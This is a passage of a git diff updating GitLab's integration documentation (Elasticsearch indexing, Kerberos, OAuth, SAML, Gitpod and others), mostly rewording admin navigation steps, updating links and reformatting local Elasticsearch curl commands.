-recommendation above) please see [the Unicorn settings in the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/unicorn.html).
-
## Redis and Sidekiq
Redis stores all user sessions and the background task queue.
diff --git a/doc/integration/README.md b/doc/integration/README.md
index c5274535d98..7c03b957686 100644
--- a/doc/integration/README.md
+++ b/doc/integration/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-07-30'
---
This document was moved to [another location](index.md).
diff --git a/doc/integration/akismet.md b/doc/integration/akismet.md
index d2e20b225cc..ba2b25caeff 100644
--- a/doc/integration/akismet.md
+++ b/doc/integration/akismet.md
@@ -25,8 +25,10 @@ To use Akismet:
1. Go to the [Akismet sign-in page](https://akismet.com/account/).
1. Sign in or create a new account.
-1. Click **Show** to reveal the API key.
-1. Go to **Admin Area > Settings > Reporting** (`/admin/application_settings/reporting`).
+1. Click **Show** to reveal the API key, and copy the API key's value.
+1. Sign in to GitLab as an administrator.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Reporting** (`/admin/application_settings/reporting`).
1. Select the **Enable Akismet** checkbox.
1. Fill in the API key from step 3.
1. Save the configuration.
diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md
index 68e3f6c76c3..aa82e15f1b1 100644
--- a/doc/integration/elasticsearch.md
+++ b/doc/integration/elasticsearch.md
@@ -120,7 +120,7 @@ The former Ruby-based indexer was removed in [GitLab 12.3](https://gitlab.com/gi
First, we need to install some dependencies, then we build and install
the indexer itself.
-This project relies on [ICU](http://site.icu-project.org/) for text encoding,
+This project relies on [International Components for Unicode](http://site.icu-project.org/) (ICU) for text encoding,
therefore we need to ensure the development packages for your platform are
installed before running `make`.
@@ -140,7 +140,7 @@ To install on CentOS or RHEL, run:
sudo yum install libicu-devel
```
-#### Mac OSX
+#### macOS
To install on macOS, run:
@@ -481,19 +481,19 @@ The following are some available Rake tasks:
| Task | Description |
|:--------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. |
-| [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. |
-| [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. |
-| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command will result in a complete wipe of the index, and it should be used with caution. |
-| [`sudo gitlab-rake gitlab:elastic:create_empty_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indexes (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. |
-| [`sudo gitlab-rake gitlab:elastic:delete_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indexes and aliases (if they exist) on the Elasticsearch instance. |
-| [`sudo gitlab-rake gitlab:elastic:recreate_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index` and `gitlab:elastic:create_empty_index`. |
-| [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. |
-| [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. |
-| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. |
-| [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Mark the most recent re-index job as failed. |
-| [`sudo gitlab-rake gitlab:elastic:list_pending_migrations`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | List pending migrations. Pending migrations include those that have not yet started, have started but not finished, and those that are halted. |
-| [`sudo gitlab-rake gitlab:elastic:estimate_cluster_size`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Get an estimate of cluster size based on the total repository size. |
+| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. |
+| [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. |
+| [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. |
+| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command will result in a complete wipe of the index, and it should be used with caution. |
+| [`sudo gitlab-rake gitlab:elastic:create_empty_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indexes (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. |
+| [`sudo gitlab-rake gitlab:elastic:delete_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indexes and aliases (if they exist) on the Elasticsearch instance. |
+| [`sudo gitlab-rake gitlab:elastic:recreate_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index` and `gitlab:elastic:create_empty_index`. |
+| [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. |
+| [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. |
+| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. |
+| [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Mark the most recent re-index job as failed. |
+| [`sudo gitlab-rake gitlab:elastic:list_pending_migrations`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | List pending migrations. Pending migrations include those that have not yet started, have started but not finished, and those that are halted. |
+| [`sudo gitlab-rake gitlab:elastic:estimate_cluster_size`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Get an estimate of cluster size based on the total repository size. |
### Environment variables
@@ -603,11 +603,12 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
This step is optional but may help significantly speed up large indexing operations.
```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "index" : {
- "refresh_interval" : "-1",
- "number_of_replicas" : 0
- } }'
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \
+ --data '{
+ "index" : {
+ "refresh_interval" : "-1",
+ "number_of_replicas" : 0
+ } }'
```
1. Index projects and their associated data:
@@ -622,7 +623,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
This enqueues a Sidekiq job for each project that needs to be indexed.
You can view the jobs in **Admin Area > Monitoring > Background Jobs > Queues Tab**
- and click `elastic_indexer`, or you can query indexing status using a Rake task:
+ and click `elastic_commit_indexer`, or you can query indexing status using a Rake task:
```shell
# Omnibus installations
@@ -684,11 +685,12 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
1. Enable replication and refreshing again after indexing (only if you previously disabled it):
```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "index" : {
- "number_of_replicas" : 1,
- "refresh_interval" : "1s"
- } }'
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \
+ --data '{
+ "index" : {
+ "number_of_replicas" : 1,
+ "refresh_interval" : "1s"
+ } }'
```
A force merge should be called after enabling the refreshing above.
@@ -696,10 +698,11 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
For Elasticsearch 6.x, the index should be in read-only mode before proceeding with the force merge:
```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "settings": {
- "index.blocks.write": true
- } }'
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \
+ --data '{
+ "settings": {
+ "index.blocks.write": true
+ } }'
```
Then, initiate the force merge:
@@ -711,10 +714,11 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
After this, if your index is in read-only mode, switch back to read-write:
```shell
- curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
- "settings": {
- "index.blocks.write": false
- } }'
+ curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \
+ --data '{
+ "settings": {
+ "index.blocks.write": false
+ } }'
```
1. After the indexing has completed, enable [**Search with Elasticsearch enabled**](#enabling-advanced-search).
@@ -730,21 +734,23 @@ However, some larger installations may wish to tune the merge policy settings:
- Consider reducing the `index.merge.policy.max_merged_segment` size from the default 5 GB to maybe 2 GB or 3 GB. Merging only happens when a segment has at least 50% deletions. Smaller segment sizes will allow merging to happen more frequently.
```shell
- curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' --data '{
- "index" : {
- "merge.policy.max_merged_segment": "2gb"
- }
- }'
+ curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' \
+ --data '{
+ "index" : {
+ "merge.policy.max_merged_segment": "2gb"
+ }
+ }'
```
- You can also adjust `index.merge.policy.reclaim_deletes_weight`, which controls how aggressively deletions are targeted. But this can lead to costly merge decisions, so we recommend not changing this unless you understand the tradeoffs.
```shell
- curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' --data '{
- "index" : {
- "merge.policy.reclaim_deletes_weight": "3.0"
- }
- }'
+ curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' \
+ --data '{
+ "index" : {
+ "merge.policy.reclaim_deletes_weight": "3.0"
+ }
+ }'
```
- Do not do a [force merge](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-forcemerge.html "Force Merge") to remove deleted documents. A warning in the [documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-forcemerge.html "Force Merge") states that this can lead to very large segments that may never get reclaimed, and can also cause significant performance or availability issues.
@@ -917,11 +923,12 @@ Setting the number of replicas to `0` is discouraged (this is not allowed in the
If you have a **hard requirement to have a green status for your single node Elasticsearch cluster**, please make sure you understand the risks outlined in the previous paragraph and then run the following query to set the number of replicas to `0`(the cluster will no longer try to create any shard replicas):
```shell
-curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{
-"index" : {
- "number_of_replicas" : 0
- }
-}'
+curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \
+ --data '{
+ "index" : {
+ "number_of_replicas" : 0
+ }
+ }'
```
### `health check timeout: no Elasticsearch node available` error in Sidekiq
diff --git a/doc/integration/external-issue-tracker.md b/doc/integration/external-issue-tracker.md
index e82c21947e2..38bcc2b9932 100644
--- a/doc/integration/external-issue-tracker.md
+++ b/doc/integration/external-issue-tracker.md
@@ -34,10 +34,3 @@ Visit the links below for details:
- [Jira](../integration/jira/index.md)
- [Redmine](../user/project/integrations/redmine.md)
- [YouTrack](../user/project/integrations/youtrack.md)
-
-### Service Template
-
-To avoid configuring each project's service individually, GitLab provides the ability to set
-Service Templates. These can then be overridden in each project's settings.
-
-Read more on [Services Templates](../user/project/integrations/services_templates.md).
diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md
index e62e3de29c2..d8aee6e0fd2 100644
--- a/doc/integration/gitpod.md
+++ b/doc/integration/gitpod.md
@@ -45,7 +45,8 @@ For GitLab self-managed instances, a GitLab administrator needs to:
1. Set up a Gitpod instance to integrate with GitLab. Refer to the [Gitpod documentation](https://www.gitpod.io/docs/self-hosted/latest/self-hosted/)
to get your instance up and running.
1. Enable it in GitLab:
- 1. Go to **Admin Area > Settings > General**.
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. In the left sidebar, select **Settings > General**.
1. Expand the **Gitpod** configuration section.
1. Check the **Enable Gitpod integration** checkbox.
1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`).
diff --git a/doc/integration/google_workspace_saml.md b/doc/integration/google_workspace_saml.md
index 46a39a2e64b..a02e88cc33f 100644
--- a/doc/integration/google_workspace_saml.md
+++ b/doc/integration/google_workspace_saml.md
@@ -1,5 +1,6 @@
---
redirect_to: 'saml.md'
+remove_date: '2021-06-15'
---
This document was moved to [another location](saml.md).
diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs.md
index 89d1d70d6aa..dc23765337b 100644
--- a/doc/integration/jira/dvcs.md
+++ b/doc/integration/jira/dvcs.md
@@ -18,7 +18,7 @@ are accessible.
- **Jira Cloud**: Your instance must be accessible through the internet.
- **Jira Server**: Your network must allow access to your instance.
-## Smart Commits
+## Smart commits
When connecting GitLab with Jira with DVCS, you can process your Jira issues using
special commands, called
@@ -74,6 +74,9 @@ your integration.
1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`.
1. In the **Redirect URI** field, enter the URI appropriate for your version of GitLab,
replacing `<gitlab.example.com>` with your GitLab instance domain:
+ - *For GitLab versions 13.0 and later* **and** *Jira versions 8.14 and later,* use the
+ generated `Redirect URL` from
+ [Linking GitLab accounts with Jira](https://confluence.atlassian.com/adminjiraserver/linking-gitlab-accounts-1027142272.html).
- *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>/login/oauth/callback`.
If you use GitLab.com, the URL is `https://gitlab.com/login/oauth/callback`.
- *For GitLab versions 11.2 and earlier,* use
@@ -99,13 +102,14 @@ it completes, refreshes every 60 minutes:
- *For Jira Cloud,* go to **Settings (gear) > Products > DVCS accounts**.
1. To create a new integration, select the appropriate value for **Host**:
- *For Jira versions 8.14 and later:* Select **GitLab** or
- <!-- vale gitlab.Substitutions = NO -->
- **GitLab Self-Hosted**.
- <!-- vale gitlab.Substitutions = YES -->
+ **GitLab Self-Managed**.
- *For Jira versions 8.13 and earlier:* Select **GitHub Enterprise**.
1. For **Team or User Account**, enter either:
- - The relative path of a top-level GitLab group that you have access to.
- - The relative path of your personal namespace.
+ - *For Jira versions 8.14 and later:*
+ - The relative path of a top-level GitLab group that you have access to.
+ - *For Jira versions 8.13 and earlier:*
+ - The relative path of a top-level GitLab group that you have access to.
+ - The relative path of your personal namespace.
1. In the **Host URL** field, enter the URI appropriate for your version of GitLab,
replacing `<gitlab.example.com>` with your GitLab instance domain:
diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md
index 152c1df3538..7bfebc18f47 100644
--- a/doc/integration/jira_development_panel.md
+++ b/doc/integration/jira_development_panel.md
@@ -1,5 +1,6 @@
---
redirect_to: 'jira/index.md'
+remove_date: '2021-06-24'
---
This document was moved to [another location](jira/index.md).
diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md
index 1984d275794..efff31bec99 100644
--- a/doc/integration/kerberos.md
+++ b/doc/integration/kerberos.md
@@ -25,7 +25,7 @@ mythology; Kerberos was a three-headed dog who guarded the gates of Hades.
For GitLab to offer Kerberos token-based authentication, perform the
following prerequisites. You still need to configure your system for
-Kerberos usage, such as specifying realms. GitLab will make use of the
+Kerberos usage, such as specifying realms. GitLab makes use of the
system's Kerberos settings.
### GitLab keytab
@@ -34,7 +34,7 @@ system's Kerberos settings.
If your GitLab server is `gitlab.example.com` and your Kerberos realm
`EXAMPLE.COM`, create a Service Principal `HTTP/gitlab.example.com@EXAMPLE.COM`
in your Kerberos database.
-1. Create a keytab on the GitLab server for the above Service Principal, e.g.
+1. Create a keytab on the GitLab server for the above Service Principal. For example,
`/etc/http.keytab`.
The keytab is a sensitive file and must be readable by the GitLab user. Set
@@ -53,7 +53,7 @@ NOTE:
For source installations, make sure the `kerberos` gem group
[has been installed](../install/installation.md#install-gems).
-1. Edit the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) to enable Kerberos ticket-based
+1. Edit the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) to enable Kerberos ticket-based
authentication. In most cases, you only need to enable Kerberos and specify
the location of the keytab:
@@ -107,8 +107,9 @@ set up GitLab to create a new account when a Kerberos user tries to sign in.
If you're an administrator, you can link a Kerberos account to an
existing GitLab account. To do so:
-1. Navigate to **Admin Area > Overview > Users > Example User**.
-1. Select the Identities tab.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
+1. Select a user, then select the **Identities** tab.
1. Select 'Kerberos SPNEGO' in the 'Provider' dropdown box.
1. Make sure the **Identifier** corresponds to the Kerberos username.
1. Select **Save changes**.
@@ -145,8 +146,9 @@ With that information at hand:
administrator if you think this is an error.
```
- 1. As an administrator, you can confirm the new, blocked account.
- Select **Admin Area > Overview > Users** and review the Blocked tab.
+ 1. As an administrator, you can confirm the new, blocked account:
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. On the left sidebar, select **Overview > Users** and review the **Blocked** tab.
1. You can enable the user.
1. If `block_auto_created_users` is false, the Kerberos user is
authenticated and is signed in to GitLab.
@@ -181,7 +183,7 @@ LDAP Distinguished Names look like `sAMAccountName=foo,dc=ad,dc=example,dc=com`.
You can configure custom allowed realms when the user's Kerberos realm doesn't
match the domain from the user's LDAP DN. The configuration value must specify
all domains that users may be expected to have. Any other domains are
-ignored and an LDAP identity won't be linked.
+ignored and an LDAP identity is not linked.
**For Omnibus installations**
@@ -214,12 +216,12 @@ A linked Kerberos account enables you to `git pull` and `git push` using your
Kerberos account, as well as your standard GitLab credentials.
GitLab users with a linked Kerberos account can also `git pull` and `git push`
-using Kerberos tokens, i.e., without having to send their password with each
+using Kerberos tokens. That is, without having to send their password with each
operation.
WARNING:
There is a [known issue](https://github.com/curl/curl/issues/1261) with `libcurl`
-older than version 7.64.1 wherein it won't reuse connections when negotiating.
+older than version 7.64.1 wherein it doesn't reuse connections when negotiating.
This leads to authorization issues when push is larger than `http.postBuffer`
configuration. Ensure that Git is using at least `libcurl` 7.64.1 to avoid this. To
know the `libcurl` version installed, run `curl-config --version`.
@@ -236,13 +238,13 @@ authentication fails.
For GitLab users to be able to use either `basic` or `negotiate` authentication
with older Git versions, it is possible to offer Kerberos ticket-based
-authentication on a different port (e.g. 8443) while the standard port offers
-only `basic` authentication.
+authentication on a different port (for example, `8443`) while the standard port
+offers only `basic` authentication.
**For source installations with HTTPS**
1. Edit the NGINX configuration file for GitLab
- (e.g., `/etc/nginx/sites-available/gitlab-ssl`) and configure NGINX to
+ (for example, `/etc/nginx/sites-available/gitlab-ssl`) and configure NGINX to
listen to port `8443` in addition to the standard HTTPS port:
```conf
@@ -253,7 +255,7 @@ only `basic` authentication.
listen [::]:8443 ipv6only=on ssl;
```
-1. Update the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example):
+1. Update the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example):
```yaml
kerberos:
@@ -303,7 +305,7 @@ remove the OmniAuth provider named `kerberos` from your `gitlab.yml` /
**For installations from source**
-1. Edit [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) and remove the `- { name: 'kerberos' }` line under OmniAuth
+1. Edit [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) and remove the `- { name: 'kerberos' }` line under OmniAuth
providers:
```yaml
diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md
index 490397cdf1b..7540a02e520 100644
--- a/doc/integration/oauth_provider.md
+++ b/doc/integration/oauth_provider.md
@@ -27,8 +27,8 @@ of the resource owner or the end-user.
OAuth 2 can be used:
- To allow users to sign in to your application with their GitLab.com account.
-- To set up GitLab.com for authentication to your GitLab instance.
-(see [GitLab OmniAuth](gitlab.md)).
+- To set up GitLab.com for authentication to your GitLab instance. See
+ [GitLab OmniAuth](gitlab.md).
The 'GitLab Importer' feature also uses OAuth 2 to give access
to repositories without sharing user credentials to your GitLab.com account.
@@ -63,7 +63,7 @@ To add a new application for your user:
To add a new application for a group:
1. Navigate to the desired group.
-1. In the left sidebar, select **Settings > Applications**.
+1. On the left sidebar, select **Settings > Applications**.
1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications).
The **Redirect URI** is the URL where users are sent after they authorize with GitLab.
1. Select **Save application**. GitLab displays:
@@ -73,10 +73,13 @@ To add a new application for a group:
## Instance-wide applications
-To create an application for your GitLab instance, select
-**Admin Area > Applications > New application**.
+To create an application for your GitLab instance:
-When creating an **Admin Area** application, you can mark it as _trusted_.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Applications**.
+1. Select **New application**.
+
+When creating application in the **Admin Area** , you can mark it as _trusted_.
The user authorization step is automatically skipped for this application.
## Authorized applications
diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md
index 45d44582607..d5f49041f41 100644
--- a/doc/integration/omniauth.md
+++ b/doc/integration/omniauth.md
@@ -224,7 +224,7 @@ from the OmniAuth provider's documentation.
sudo service gitlab stop
```
-- Add the gem to your [`Gemfile`](https://gitlab.com/gitlab-org/gitlab/blob/master/Gemfile):
+- Add the gem to your [`Gemfile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/Gemfile):
```shell
gem "omniauth-your-auth-provider"
@@ -261,7 +261,7 @@ By default, **Sign In** is enabled by using all the OAuth Providers that have be
To enable/disable an OmniAuth provider:
-1. In the top navigation bar, go to **Admin Area**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, go to **Settings**.
1. Scroll to the **Sign-in Restrictions** section, and click **Expand**.
1. Below **Enabled OAuth Sign-In sources**, select the check box for each provider you want to enable or disable.
diff --git a/doc/integration/saml.md b/doc/integration/saml.md
index da1278b9edd..927dd3cd714 100644
--- a/doc/integration/saml.md
+++ b/doc/integration/saml.md
@@ -813,13 +813,13 @@ the CSRF check.
To bypass this you can add `skip_before_action :verify_authenticity_token` to the
`omniauth_callbacks_controller.rb` file immediately after the `class` line and
-comment out the `protect_from_forgery` line using a `#`. Restart Unicorn for this
+comment out the `protect_from_forgery` line using a `#`. Restart Puma for this
change to take effect. This allows the error to hit GitLab, where it can then
be seen in the usual logs, or as a flash message on the login screen.
That file is located in `/opt/gitlab/embedded/service/gitlab-rails/app/controllers`
for Omnibus installations and by default in `/home/git/gitlab/app/controllers` for
-installations from source. Restart Unicorn using the `sudo gitlab-ctl restart unicorn`
+installations from source. Restart Puma using the `sudo gitlab-ctl restart puma`
command on Omnibus installations and `sudo service gitlab restart` on installations
from source.
diff --git a/doc/integration/slash_commands.md b/doc/integration/slash_commands.md
index 2c133c1de76..1f2259a2d57 100644
--- a/doc/integration/slash_commands.md
+++ b/doc/integration/slash_commands.md
@@ -26,7 +26,7 @@ Taking the trigger term as `project-name`, the commands are:
| `/project-name issue move <id> to <project>` | Moves issue ID `<id>` to `<project>` |
| `/project-name issue comment <id> <shift+return> <comment>` | Adds a new comment to an issue with ID `<id>` and comment body `<comment>` |
| `/project-name deploy <from> to <to>` | Deploy from the `<from>` environment to the `<to>` environment |
-| `/project-name run <job name> <arguments>` | Execute [ChatOps](../ci/chatops/index.md) job `<job name>` on `master` |
+| `/project-name run <job name> <arguments>` | Execute [ChatOps](../ci/chatops/index.md) job `<job name>` on the default branch |
If you are using the [GitLab Slack application](../user/project/integrations/gitlab_slack_application.md) for
your GitLab.com projects, [add the `gitlab` keyword at the beginning of the command](../user/project/integrations/gitlab_slack_application.md#usage).
diff --git a/doc/integration/sourcegraph.md b/doc/integration/sourcegraph.md
index d068aabed41..86ca389e9b2 100644
--- a/doc/integration/sourcegraph.md
+++ b/doc/integration/sourcegraph.md
@@ -76,7 +76,8 @@ You can skip this step if you already have your GitLab repositories searchable i
### Configure your GitLab instance with Sourcegraph
-1. In GitLab, go to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Sourcegraph** configuration section.
1. Check **Enable Sourcegraph**.
1. Set the Sourcegraph URL to your Sourcegraph instance, such as `https://sourcegraph.example.com`.
diff --git a/doc/intro/README.md b/doc/intro/README.md
index c815842480c..488d86f129d 100644
--- a/doc/intro/README.md
+++ b/doc/intro/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](index.md).
diff --git a/doc/legal/README.md b/doc/legal/README.md
index c815842480c..488d86f129d 100644
--- a/doc/legal/README.md
+++ b/doc/legal/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](index.md).
diff --git a/doc/legal/index.md b/doc/legal/index.md
index 371ea53046c..9d7b799335c 100644
--- a/doc/legal/index.md
+++ b/doc/legal/index.md
@@ -7,4 +7,4 @@ comments: false
# Legal
-Please read through the [GitLab License Agreement](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md).
+Please read through the [GitLab License Agreement](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CONTRIBUTING.md).
diff --git a/doc/migrate_ci_to_ce/README.md b/doc/migrate_ci_to_ce/README.md
index 16d3604cfa4..dbe5a2730b5 100644
--- a/doc/migrate_ci_to_ce/README.md
+++ b/doc/migrate_ci_to_ce/README.md
@@ -1,461 +1,9 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: howto
+redirect_to: 'https://docs.gitlab.com/'
+remove_date: '2021-06-14'
---
-# Migrate GitLab CI to GitLab CE or EE
+This document was moved to [another location](https://docs.gitlab.com/).
-Beginning with version 8.0 of GitLab Community Edition (CE) and Enterprise
-Edition (EE), GitLab CI is no longer its own application, but is instead built
-into the CE and EE applications.
-
-This guide details the process of migrating your CI installation and data
-into your GitLab CE or EE installation. **You can only migrate CI data from
-GitLab CI 8.0 to GitLab 8.0; migrating between other versions (e.g.7.14 to 8.1)
-is not possible.**
-
-We recommend that you read through the entire migration process in this
-document before beginning.
-
-## Overview
-
-In this document we assume you have a GitLab server and a GitLab CI server. It
-does not matter if these are the same machine.
-
-The migration consists of three parts: updating GitLab and GitLab CI, moving
-data, and redirecting traffic.
-
-Please note that CI builds triggered on your GitLab server in the time between
-updating to 8.0 and finishing the migration are lost. Your GitLab server
-can be online for most of the procedure; the only GitLab downtime (if any) is
-during the upgrade to 8.0. Your CI service remains offline from the moment you
-upgrade to 8.0 until you finish the migration procedure.
-
-## Before upgrading
-
-If you have GitLab CI installed using Omnibus GitLab packages but **you don't want to migrate your existing data**:
-
-```shell
-mv /var/opt/gitlab/gitlab-ci/builds /var/opt/gitlab/gitlab-ci/builds.$(date +%s)
-```
-
-run `sudo gitlab-ctl reconfigure` and you can reach CI at `gitlab.example.com/ci`.
-
-If you want to migrate your existing data, continue reading.
-
-### 0. Updating Omnibus from versions prior to 7.13
-
-If you are updating from older versions you should first update to 7.14 and then to 8.0
-to avoid the problems described in the [Troubleshooting](#troubleshooting) section.
-
-### 1. Verify that backups work
-
-Make sure that the backup script on both servers can connect to the database.
-
-```shell
-# On your CI server:
-# Omnibus
-sudo chown gitlab-ci:gitlab-ci /var/opt/gitlab/gitlab-ci/builds
-sudo gitlab-ci-rake backup:create
-
-# Source
-cd /home/gitlab_ci/gitlab-ci
-sudo -u gitlab_ci -H bundle exec rake backup:create RAILS_ENV=production
-```
-
-Also check on your GitLab server.
-
-```shell
